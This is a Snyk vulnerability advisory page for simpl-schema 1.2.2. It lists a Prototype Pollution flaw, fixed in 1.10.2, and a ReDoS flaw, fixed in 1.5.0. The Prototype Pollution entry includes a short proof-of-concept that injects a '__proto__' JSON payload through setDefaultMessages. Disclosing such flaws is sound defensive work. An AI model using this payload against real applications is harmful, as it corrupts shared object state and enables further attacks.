simpl-schema@1.2.2 vulnerabilities

A schema validation package that supports direct validation of MongoDB update modifier objects.

Direct Vulnerabilities

Known vulnerabilities in the simpl-schema package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • H
Prototype Pollution

simpl-schema is a schema validation package that supports direct validation of MongoDB update modifier objects.

Affected versions of this package are vulnerable to Prototype Pollution.

PoC

const SimpleSchema = require("simpl-schema").default;
let obj = {};
console.log("Before : " + obj.polluted);
SimpleSchema.setDefaultMessages(JSON.parse('{"__proto__":{"polluted":"yes"}}'));
console.log("After : " + obj.polluted);

How to fix Prototype Pollution?

Upgrade simpl-schema to version 1.10.2 or higher.

<1.10.2
  • H
Regular Expression Denial of Service (ReDoS)

simpl-schema is a A schema validation package that supports direct validation of MongoDB update modifier objects.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) attacks. This can cause an impact of about 10 seconds matching time for data 40k characters long.

How to fix Regular Expression Denial of Service (ReDoS)?

Upgrade simpl-schema to version 1.5.0 or higher

<1.5.0